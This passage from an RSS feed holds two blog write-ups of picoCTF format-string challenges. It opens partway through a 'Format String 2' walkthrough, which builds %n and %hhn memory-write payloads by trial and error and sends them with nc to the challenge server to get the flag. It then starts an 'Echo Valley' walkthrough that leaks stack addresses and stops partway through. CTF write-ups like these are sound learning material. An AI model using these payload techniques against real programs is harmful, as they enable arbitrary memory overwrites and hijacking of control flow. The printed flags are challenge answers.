clarity.<br>...<br>Heres your input: 0x4141414141414141 0x4242424242424242 0x4343434343434343 aAAAAAAAABBBBBBBBCCCCCCCC<br>...</pre><p>Finally, I saw that the 3 8-byte addresses were perfectly written at the 16th, 17th, and the 18th positions. This meant that I could, now, write the 3 address fragments, 1 fragment per 8-byte address, and have the fragments combine into 1 value written at <em>AAAAAAAA</em>. Each of the fragments would be defined as something like <em>%100x</em>, <em>%4x</em>, etc., which were number of spaces that represented the number of characters.</p><blockquote>Detail #3: The mystery of utilizing multiple 8-byte addresses</blockquote><p>Digging deeper into the combining action of the fragments into 1 value at the initial address, which for this case was <em>AAAAAAAA</em>, I realized that the same example couldn’t illustrate why the 3 8-byte addresses would result in the formation of 1 value. The A’s, B’s, and C’s as hypothetical values were helpful in illustrating the alignment part, but not why the 3 addresses would lead to overwriting at <em>AAAAAAAA</em>.</p><p>To clearly illustrate this, I would need to choose more realistic incremental addresses. Realistically, the 3 8-byte addresses would be <em>0x404060</em>, <em>0x404061</em>, and <em>0x404062</em> written as <em>\x60\x40\x40\x00\x00\x00\x00\x00</em>, <em>\x61\x40\x40\x00\x00x\00\x00\x00</em>, and <em>\x62\x40\x40\x00\x00\x00\x00\x00 </em>(because of little endianness). And technically, all of these 3 addresses would be 1 memory block at <em>0x404060 </em>because:</p><ol><li><em>0x404060</em> = 00 00 00 00 00 00 00 <strong><em>00 </em></strong><em>(pointing to the last byte location)</em></li><li><em>0x404061</em> = 00 00 00 00 00 00 <strong><em>00</em></strong> 00 <em>(pointing to the 2nd last byte location)</em></li><li><em>0x404062</em> = 00 00 00 00 00 <strong><em>00</em></strong> 00 00 <em>(pointing to the 3rd last byte location)</em></li></ol><p>… all the way up to <em>0x404067</em>.</p><p>In other words, from <em>0x404060</em> to <em>0x404067</em>, it belonged to 1 memory block where each address pointed to the byte location within the same block. And starting from <em>0x404068</em>, it would become a new memory block. So, writing an address fragment per 8-byte address would follow a process as below:</p><ol><li>00 00 00 00 00 00 00 66 <em>(writing 0x66 at 0x404060)</em></li><li>00 00 00 00 00 00 6c 66 <em>(writing 0x6c at 0x404061)</em></li><li>00 00 00 00 00 61 6c 66 <em>(writing 0x61 at 0x404062)</em></li></ol><p>… and so on until the last byte location which would be <em>0x404067</em>.</p><p>So, this explained why I would need to write incremental 8-byte addresses. Basically, it was to access specific byte locations to write at.</p><p>And then, these incremental addresses had to be placed on incremental locations on the stack, which would facilitate perfect alignment, as opposed to placing these addresses in random locations on the stack, i.e. something like <em>%15\$n, %19\$n, %24\$n</em>.</p><blockquote>Detail #4: Constructing the address fragments</blockquote><p>So, after achieving perfect alignment on the stack, I needed to construct the correct address fragments. This would be done utilizing the spacing, i.e. something like <em>%10000x</em> before the <em>%14\$n</em>. The <em>%n</em> would translate the spaces as number of characters into a hex value, then write to the 8-byte address at the specified stack location by the direct access parameter.</p><p>For example, <em>%102x%15\$n</em> would write something like <em>0x00000066</em> at the 8-byte address located at the 15th position on the stack because 102 in hex would be <em>0x66</em> and <em>%n</em> would write a 4-byte length.</p><p>However, I figured that the 4-byte length could be a problem because I might not have enough granular control in writing the fragments. To avoid this issue, I kept a few useful tools under my sleeve, which were the <em>hh</em> and <em>h</em> format specifiers. These could be used like<em> %hhn </em>or<em> %hn. </em>The “h” stood for “half,” meaning half of the default byte length of the<em> </em>format specifier such as<em> %n</em>. And “hh” would be half of half of the default byte length. So, <em>%hhn</em> would mean half of half of 4-byte length, which would be 1-byte length.</p><p>So, taking from the same example above, <em>%102x%15\$hhn </em>would write something like <em>0x66</em> at the 8-byte address located at the 15th position on the stack. If it were <em>%102x%15\$hn, </em>then it would write something like <em>0x0066</em>, which would be a 2-byte length <em>(half of %n = 2 bytes in length)</em>.</p><p>But, in reality, anything could be used. Whether <em>%hhn</em>, <em>%hn</em>, or <em>%n</em> would work depended on the preference of the hacker. The important part was getting the perfect alignment that could successfully overwrite to a specific byte location at the 8-byte address.</p><blockquote>Finally the alternate solution to fmtstr_payload()</blockquote><p>After considering all the details as discussed above, I decided to put together a manual payload input.</p><ol><li><strong>Preparing the 8-byte addresses:</strong></li></ol><pre># The incremental 8-byte addresses to use.<br># 0x404060, 0x404061, 0x404062, 0x404063<br>\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00</pre><p>2. <strong>Constructing the fragments of <em>0x67616c66</em>:</strong></p><pre># Python code to calculate the integer fragments of 0x67616c66.<br><br># Finding the integer values of 0x66 first (due to little endianness).<br># Everything is modulo 256 because in hex, there are 256 possible values in decimal (0 - 255, inclusive).<br># For example, 0x00 = 0, 0x01 = 1, 0x02 = 2, ... , 0x0f = 15, ... , 0x1f = 31, ... , 0x2f = 47, ... , 0x9f = 159, ... , 0xcf = 207, ... , 0xff = 255.<br>frag_1 = int(&#39;66&#39;, 16) % 256<br>print(frag_1)<br><br># Calculating the offset from 0x66 to 0x6c.<br>frag_2 = (int(&#39;6c&#39;, 16) - frag_1) % 256<br>print(frag_2)<br><br># Calculating the offset from 0x6c to 0x61.<br>frag_3 = (int(&#39;61&#39;, 16) - (frag_2 + frag_1)) % 256<br>print(frag_3)<br><br># Calculating the offset from 0x61 to 0x67.<br>frag_4 = (int(&#39;67&#39;, 16) - (frag_3 + frag_2 + frag_1)) % 256<br>print(frag_4)<br><br><br># Output<br>102    # frag_1 in integer format.<br>6      # frag_2 in integer format.<br>245    # frag_3 in integer format.<br>6      # frag_4 in integer format.<br><br><br><br># Confirming.<br>print(hex(102))<br>print(hex(102 + 6))<br>print(hex(102 + 6 + 245))<br>print(hex(102 + 6 + 245 + 6))<br><br><br># Output<br>0x66     # frag_1 in hex format.<br>0x6c     # frag_2 in hex format.<br>0x161    # frag_3 in hex format.<br>0x167    # frag_4 in hex format.</pre><p>Therefore, the fragments would be constructed into the payload as: <em>%102x%14\$n%6x%15\$n%245x%16\$n%6x%17\$n</em></p><p>The overwriting process would look like:</p><ol><li>__ __ __ __ 00 00 00 <strong>66</strong> <em>(0x404060)</em></li><li>__ __ __ 00 00 00 <strong>6c </strong>__<strong> </strong><em>(0x404061)</em></li><li>__ __ 00 00 <strong>01 61 </strong>__ __<strong> </strong><em>(0x404062)</em></li><li>__ 00 00 <strong>01</strong> <strong>67 </strong>__ __ __<strong> </strong><em>(0x404063)</em></li></ol><p>In the 3rd step, <em>01</em> is written at the 4th byte location <em>(0x404063)</em> since the exact value was <em>0x161</em>. But at the 4th step, <em>01</em> ended up being overwritten by 67 from writing <em>0x167</em> at the 4th byte location <em>(0x404063)</em>.</p><p>The combined value at the <em>0x404060</em> memory block would be <em>0x0000000167616c66, </em>to be exact <em>(notice the 01 at the 5th byte location)</em>, but because the <em>vuln</em> program’s <em>if statement</em> was comparing only up to the 4-byte length, i.e. <em>if(sus == 0x67616c66){…}</em>, it would only compare the lower 4 bytes. So, in this case, since the lower 4 bytes were <em>67616c66, </em>it would pass. If the <em>if statement</em> was something like <em>if(sus == 0x0000007f67616c66){…} </em>in which it checked past the 4-byte length, then I would need to make sure that the overwriting process get the other byte locations to match, as well.</p><p>3. <strong>Obtaining perfect alignment through trial and error:</strong></p><pre># Complete payload.<br>%102x%14\$n%6x%15\$n%245x%16\$n%6x%17\$n\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00<br><br># But because I would need to examine alignment, I changed all $n to $p.<br>%102x%14\$p%6x%15\$p%245x%16\$p%6x%17\$p\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00<br><br># Running the complete command.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%102x%14\$p%6x%15\$p%245x%16\$p%6x%17\$p\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00&#39;)&quot; | ./vuln<br><br><br># Output (modified). The actual output after &quot;Here&#39;s your input&quot; had many more spaces in between addresses. <br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br>Heres your input:    4020750x3431257832303125     00x3531257836257024    2752fa000x2578353432257024     00x2578362570243631`@@<br>sus = 0x21737573<br>You can do better!</pre><p>I didn’t see my 8-byte addresses anywhere with this first payload, so I adjusted it through incrementing the direct access parameter. I eventually arrived at the 20th, 21st, 22nd, and the 23rd positions on the stack:</p><pre># Modified payload.<br>%102x%20\$p%6x%21\$p%245x%22\$p%6x%23\$p\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00<br><br># Running the complete command.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%102x%20\$p%6x%21\$p%245x%22\$p%6x%23\$p\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00&#39;)&quot; | ./vuln<br><br><br># Output (modified). The actual output after &quot;Here&#39;s your input&quot; had many more spaces in between addresses.<br>You don&#39;t have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br>Here&#39;s your input:    4020750x40406200000000     00x40406300000000     54ebfa000x7f0000000000     0(nil)`@@<br>sus = 0x21737573<br>You can do better!</pre><p>I saw <em>404062</em> and <em>404063</em>, so I decided to add some padding before the addresses. After trying 1 character at a time, I eventually ended up adding “aabbcceeabcd” before the addresses:</p><pre># Modified Payload. The padding could be any alphabet letter.<br># I chose &#39;aabbcceeabcd&#39; for better visibility purposes only.<br>%102x%20\$p%6x%21\$p%245x%22\$p%6x%23\$paabbcceeabcd\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00<br><br># Running the complete command.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%102x%20\$p%6x%21\$p%245x%22\$p%6x%23\$paabbcceeabcd\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00&#39;)&quot; | ./vuln<br><br><br># Output (modified). The actual output after &quot;Here&#39;s your input&quot; had many more spaces in between addresses.<br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br>Heres your input:  4020750x404060     00x404061      f6ecea000x404062     00x404063aabbcceeabcd`@@<br>sus = 0x21737573<br>You can do better!</pre><p>Finally, I was able to see perfect alignment that showed the complete address format <em>(0x404060, 0x404061, 0x404062, 0x404063)</em> at the 20th, 21st, 22nd, and the 23rd positions of the stack. Whatever came before <em>0x</em> did not interfere with the alignment since <em>0x</em> always marked the beginning of an address.</p><p>4. <strong>Successfully overwriting and capturing the flag:</strong></p><p>Then, I switched each of the <em>$p</em> to <em>$n</em> and saw that it successfully overwrote the value at <em>0x404060 </em>through the output showing<em> “I have NO clue how you did that…”</em></p><pre># Final payload.<br># Changing $p back to $n.<br>%102x%20\$n%6x%21\$n%245x%22\$n%6x%23\$naabbcceeabcd\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00<br><br># Running the complete command.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%102x%20\$n%6x%21\$n%245x%22\$n%6x%23\$naabbcceeabcd\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00&#39;)&quot; | ./vuln<br><br><br># Output (modified). The actual output after &quot;Here&#39;s your input&quot; had many more spaces in between addresses.<br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br>Heres your input:           402075     0         53979a00     0aabbcceeabcd`@@<br><br>I have NO clue how you did that, you must be a wizard. Here you go...<br>Segmentation fault (core dumped)</pre><p>With this payload verified, I fired up the instance, and ran the command at the server to get the flag.</p><pre># Running the complete command.<br>python -u -c &quot;import sys; sys.stdout.buffer.write(b&#39;%102x%20\$n%6x%21\$n%245x%22\$n%6x%23\$naabbcceeabcd\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00&#39;)&quot; | nc -N rhea.picoctf.net 49860<br><br><br># Output (modified). The actual output after &quot;Here&#39;s your input&quot; had many more spaces in between addresses.<br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br>Heres your input:         402075     0       f71d0a00     0aabbcceeabcd`@@<br><br>I have NO clue how you did that, you must be a wizard. Here you go...<br>picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}</pre><blockquote>The alternate, alternate solution</blockquote><p>The payload could be crafted in another way. Instead of using <em>%n</em>, I could use <em>%hhn.</em> This would overwrite an exact address value at the <em>0x404060</em> memory block because it would be writing a 1-byte length at a time instead of a 4-byte length. For example, the overwritten value could exactly match <em>0x67616c66</em> rather than it being <em>0x0167616c66</em> then relying on the <em>if statement</em> to filter out the 5th byte location. Utilizing <em>%hhn</em> would provide a more granular control of the overwriting process.</p><p>With <em>%hhn</em>, the beginning part of the payload would be modified as: <em>%102x%20\$hhn%6x%21\$hhn%245x%22\$hhn%6x%23\$hhn</em>…</p><p>The overwriting process would look like:</p><ol><li>__ __ __ __ __ __ __ <strong>66</strong> <em>(0x404060)</em></li><li>__ __ __ __ __ __ <strong>6c </strong>__<strong> </strong><em>(0x404061)</em></li><li>__ __ __ __ __ <strong>61 </strong>__ __<strong> </strong><em>(0x404062)</em></li><li>__ __ __ __ <strong>67 </strong>__ __ __<strong> </strong><em>(0x404063)</em></li></ol><p>Because <em>%hhn</em> would be concerned with only 1-byte length, everything outside of the lowest 1 byte would drop. For example, for the value of <em>0x161</em>, <em>%hhn</em> would only write <em>0x61</em> and drop the <em>0x01</em>. As a result, the combined value would be exactly <em>0x0000000067616c66</em>.</p><p>Next, perfect alignment would need to be achieved, again, due to this modification. But because I had prior knowledge of the previous payload, I could achieve perfect alignment almost instantly. Using <em>%hhn</em> added “hh” number of characters before <em>n</em>, which would be 2. Therefore, I would need to eliminate 2 characters from the extra padding before the addresses. Since I modified all 4 <em>%n</em>’s to 4 <em>%hhn</em>’s, that would be 4 “hh”, or 8 number of characters in total that would need to be removed from the extra padding. Therefore, the new payload looked like:</p><pre># Previous payload using %n.<br>%102x%20\$n%6x%21\$n%245x%22\$n%6x%23\$naabbcceeabcd\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00<br><br># Modified payload using %hhn.<br>%102x%20\$hhn%6x%21\$hhn%245x%22\$hhn%6x%23\$hhnabcd\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00</pre><p>The extra padding of “aabbcceeabcd” was modified to just “abcd”.</p><p>Again, I fired up the instance and sent this payload using Python as below and obtained the flag.</p><pre># Running the complete command with the modifed payload.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;%102x%20\$hhn%6x%21\$hhn%245x%22\$hhn%6x%23\$hhnabcd\x60\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00&#39;)&quot; | nc -N rhea.picoctf.net 49860<br><br><br># Output (modified). The actual output after &quot;Here&#39;s your input&quot; had many more spaces in between addresses.<br>You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?<br>Heres your input:         402075     0          12237a00     0abcd`@@<br><br>I have NO clue how you did that, you must be a wizard. Here you go...<br>picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}</pre><blockquote>The alternate, alternate, alternate solution</blockquote><p>Another tool besides <em>%n</em> and <em>%hhn</em> was <em>%hn</em> which would be used to write a 2-byte length. I didn’t dig deeper in getting the exploit to work with <em>%hn</em>, but the same procedures would follow. And because I already had the working payloads, modifying it to utilize <em>%hn</em> should be pretty simple. It would basically be removing one “h” per format specifier and accommodating for it at the extra padding by adding 4 characters. I never tried it, but I believe it should work.</p><blockquote><strong>Reflection</strong></blockquote><p>The lesson learned was that the <em>fmtstr_payload()</em> function greatly quickened the process of constructing the payload as it automated all of the trial and error part. My payloads were slightly different from what was generated by the function, but the logic was very much the same. A better grasp on the underlying workings helped me to feel more comfortable using this function as part of my cybersecurity arsenal.</p><p>Please feel free to share your findings / thoughts in the comments section!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8SUNMC67CniZPgLML8g6IQ.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><blockquote><strong>References</strong></blockquote><ol><li><a href="https://github.com/Gallopsled/pwntools/tree/dev">https://github.com/Gallopsled/pwntools/tree/dev</a></li><li><a href="https://www.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail">https://www.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3acb72ea6cd8" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/format-string-2-picoctf-2024-deep-dive-into-the-logic-behind-payload-construction-3acb72ea6cd8">Format String 2 — picoCTF 2024 — Deep Dive into the Logic behind Payload Construction</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Down the rabbit hole of Format String Vulnerability — Echo Valley — picoCTF 2025]]></title>
            <link>https://systemweakness.com/down-the-rabbit-hole-of-format-string-vulnerability-echo-valley-picoctf-2025-189f1cefed5f?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/189f1cefed5f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[format-string-vuln]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[stackoverflow]]></category>
            <category><![CDATA[format-string-attack]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 06:48:00 GMT</pubDate>
            <atom:updated>2025-05-01T12:52:46.081Z</atom:updated>
            <content:encoded><![CDATA[<h3>Echo Valley — picoCTF 2025 — Down the rabbit hole of Format String Vulnerability</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MJa4mSQMTgEF8KqV0FgaWg.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><p>After <a href="https://medium.com/@jinkim138/pie-time-picoctf-2025-dbec42ba0857">PIE TIME</a> and <a href="https://medium.com/@jinkim138/pie-time-2-picoctf-2025-ca481b91d209">PIE TIME 2</a> exercises, I felt pretty confident with format string vulnerability and wanted to tackle more problems like this. I came across Echo Valley challenge in picoCTF 2025, and it was an exercise about format string vulnerability, again. All excited, I tackled the problem only to end up stuck for 4 days straight before finally figuring out the flag. I had a lot of help from online resources and books to figure this one out. I listed the references at the bottom of this post if anyone wanted to check it out. And so it began, my journey down the rabbit hole of figuring out how format string vulnerability works.</p><p><strong><em>Related post:</em></strong><em> </em><a href="https://medium.com/@jinkim138/format-string-2-picoctf-2024-deep-dive-into-the-logic-behind-payload-construction-3acb72ea6cd8"><em>How Format String Payload is Constructed</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v1pjeeuyMK1NFSE4xRfIag.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><blockquote><strong>Detecting the format string vulnerability in source code valley.c.</strong></blockquote><p>I opened Webshell and downloaded the source code and binary files. Then, I examined the source code file for any vulnerabilities that might be present.</p><pre># Downloading the code files.<br>wget https://challenge-files.picoctf.net/c_shape_facility/3540df5468ae2357d00a7a3e2d396e6522b24f7a363cbaff8badcb270d186bda/valley.c<br>wget https://challenge-files.picoctf.net/c_shape_facility/3540df5468ae2357d00a7a3e2d396e6522b24f7a363cbaff8badcb270d186bda/valley<br><br># Opening the source code file in nano.<br>nano valley.c</pre><pre>// Source code for valley.c<br><br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br><br>void print_flag() {<br>    char buf[32];<br>    FILE *file = fopen(&quot;/home/valley/flag.txt&quot;, &quot;r&quot;);<br><br>    if (file == NULL) {<br>      perror(&quot;Failed to open flag file&quot;);<br>      exit(EXIT_FAILURE);<br>    }<br>    <br>    fgets(buf, sizeof(buf), file);<br>    printf(&quot;Congrats! Here is your flag: %s&quot;, buf);<br>    fclose(file);<br>    exit(EXIT_SUCCESS);<br>}<br><br>void echo_valley() {<br>    printf(&quot;Welcome to the Echo Valley, Try Shouting: \n&quot;);<br><br>    char buf[100];<br><br>    while(1)<br>    {<br>        fflush(stdout);<br>        if (fgets(buf, sizeof(buf), stdin) == NULL) {<br>          printf(&quot;\nEOF detected. Exiting...\n&quot;);<br>          exit(0);<br>        }<br><br>        if (strcmp(buf, &quot;exit\n&quot;) == 0) {<br>            printf(&quot;The Valley Disappears\n&quot;);<br>            break;<br>        }<br><br>        printf(&quot;You heard in the distance: &quot;);<br>        printf(buf);<br>        fflush(stdout);<br>    }<br>    fflush(stdout);<br>}<br><br>int main()<br>{<br>    echo_valley();<br>    return 0;<br>}</pre><p>The format string vulnerability was in the <em>echo_valley()</em> function at <em>printf(buf)</em>. The proper way should be <em>printf(“%s”, buf)</em>, or something like this, to prevent a format string vulnerability.</p><blockquote><strong>Leaking stack memory addresses.</strong></blockquote><p>Piggybacking off PIE TIME and PIE TIME 2, I began running the binary file and entered a bunch of <em>%p</em> format specifiers to leak the stack memory addresses.</p><p>If the machine was a 32-bit machine, I would’ve entered a bunch of <em>%x</em> format specifiers rather than <em>%p</em>. But because the machine on Webshell was a 64-bit machine, I entered <em>%p</em> (<em>%lx</em> or <em>%llx</em> would work, too, but I liked the clean address output of <em>%p</em> more).</p><pre># Turning the valley binary file into an executable first.<br>chmod +x valley<br><br># Running the binary file.<br>./valley<br><br>Welcome to the Echo Valley, Try Shouting: <br>%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p <br>You heard in the distance: 0x563e1453b0c1 (nil) 0x7f6da35dba00 (nil) 0x563e1f65a6b0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x207025 0xca0b493ac94a1200 0x7ffc33579fc0 0x563e1453a413 0x1 0x7f6da33eed90 (nil) 0x563e1453a401 0x100000000 0x7ffc3357a0d8 (nil) 0x62740f833adfabca 0x7ffc3357a0d8 0x563e1453a401 0x563e1453cd78 0x7f6da363e040 You heard in the distance: 0x563e1453b0c1 (nil) 0x7f6da35dba00 0x1 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x207025 0xca0b493ac94a1200 0x7ffc33579fc0 0x563e1453a413 0x1 0x7f6da33eed90 (nil) 0x563e1453a401 0x100000000 0x7ffc3357a0d8 (nil) 0x62740f833adfabca 0x7ffc3357a0d8 0x563e1453a401 0x563e1453cd78 0x7f6da363e040 You heard in the distance: 0x563e1453b0c1 (nil) 0x7f6da35dba00 0x1 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x207025 0xca0b493ac94a1200 0x7ffc33579fc0 0x563e1453a413 0x1 0x7f6da33eed90 (nil) 0x563e1453a401 0x100000000 0x7ffc3357a0d8 (nil) 0x62740f833adfabca 0x7ffc3357a0d8 0x563e1453a401 0x563e1453cd78 0x7f6da363e040 You heard in the distance: 0x563e1453b0c1 (nil) 0x7f6da35dba00 0x1 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520<br>exit<br>The Valley Disappears</pre><p>The output of stack memory addresses confirmed that the program had a format string vulnerability.</p><p>Then, I ran the binary file in <em>gdb</em> and disassembled the memory addresses for the <em>main()</em> and <em>print_flag()</em> functions.</p><pre># Running the binary file in gdb.<br>gdb ./valley<br><br>GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1<br>Copyright (C) 2022 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;<br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law.<br>Type &quot;show copying&quot; and &quot;show warranty&quot; for details.<br>This GDB was configured as &quot;x86_64-linux-gnu&quot;.<br>Type &quot;show configuration&quot; for configuration details.<br>For bug reporting instructions, please see:<br>&lt;https://www.gnu.org/software/gdb/bugs/&gt;.<br>Find the GDB manual and other documentation resources online at:<br>    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.<br><br>For help, type &quot;help&quot;.<br>Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...<br>Reading symbols from ./valley...<br><br>(gdb) r<br><br>Starting program: /home/user-picoctf/picoctf_2025/echovalley/valley <br>warning: Error disabling address space randomization: Operation not permitted<br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br><br>Welcome to the Echo Valley, Try Shouting: <br>hello<br>You heard in the distance: hello<br>exit<br>The Valley Disappears<br>[Inferior 1 (process 261) exited normally]<br><br>(gdb) disas main<br><br>Dump of assembler code for function main:<br>   0x00005596c1fa8401 &lt;+0&gt;:     endbr64 <br>   0x00005596c1fa8405 &lt;+4&gt;:     push   %rbp<br>   0x00005596c1fa8406 &lt;+5&gt;:     mov    %rsp,%rbp<br>   0x00005596c1fa8409 &lt;+8&gt;:     mov    $0x0,%eax<br>   0x00005596c1fa840e &lt;+13&gt;:    call   0x5596c1fa8307 &lt;echo_valley&gt;<br>   0x00005596c1fa8413 &lt;+18&gt;:    mov    $0x0,%eax<br>   0x00005596c1fa8418 &lt;+23&gt;:    pop    %rbp<br>   0x00005596c1fa8419 &lt;+24&gt;:    ret    <br>End of assembler dump.<br><br>(gdb) disas print_flag<br><br>Dump of assembler code for function print_flag:<br>   0x00005596c1fa8269 &lt;+0&gt;:     endbr64 <br>   0x00005596c1fa826d &lt;+4&gt;:     push   %rbp<br>   0x00005596c1fa826e &lt;+5&gt;:     mov    %rsp,%rbp<br>   0x00005596c1fa8271 &lt;+8&gt;:     sub    $0x40,%rsp<br>   0x00005596c1fa8275 &lt;+12&gt;:    mov    %fs:0x28,%rax<br>   0x00005596c1fa827e &lt;+21&gt;:    mov    %rax,-0x8(%rbp)<br>   ...<br>End of assembler dump.</pre><p>From here, I noticed that both the start address of the <em>main()</em> function and the return address of the <em>echo_valley()</em> function was listed in the stack memory addresses output from the bunch of <em>%p</em>: <em>0x00005596c1fa8401</em> and <em>0x00005596c1fa8413</em> (or simply, <em>0x5596c1fa8401</em> and <em>0x5596c1fa8413</em>). <strong>So, which one to use as base point?</strong></p><p>At this point, I didn’t think it mattered, so I chose the <em>main()</em> function address as base point, but decided to calculate the offset in memory for both of them (but this will change later).</p><p>I calculated the offset in memory from <em>main()</em> to <em>print_flag()</em> through the Python code below.</p><pre># Python code.<br><br># Calculating offset in memory between main() and print_flag().<br>main = int(&#39;0x00005596c1fa8401&#39;, 16)<br>print_flag = int(&#39;0x00005596c1fa8269&#39;, 16)<br>diff_1 = main - print_flag<br>print(diff_1)<br><br># Calculating offset in memory between return address of echo_valley() and print_flag().<br>ev_return_addr = int(&#39;0x00005596c1fa8413&#39;, 16)<br>diff_2 = ev_return_addr - print_flag<br>print(diff_2)</pre><p>The offset was a consistent 408 bytes and 426 bytes, respectively.</p><p>I also took note of the position offset in stack memory of these two addresses. From the output after entering a bunch of <em>%p</em>, I saw that <em>0x5596c1fa8401 </em>was in the 31st position and that of<em> 0x5596c1fa8413 </em>was in the 21st position.</p><p>Using <em>direct parameter access</em> format specifier, I confirmed that they were, indeed, at the 31st and 21st positions.</p><pre># Running the program again in gdb.<br>(gdb) r<br><br>Starting program: /home/user-picoctf/picoctf_2025/echovalley/valley <br>warning: Error disabling address space randomization: Operation not permitted<br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br><br>Welcome to the Echo Valley, Try Shouting: <br># Direct parameter access to 31st and 21st 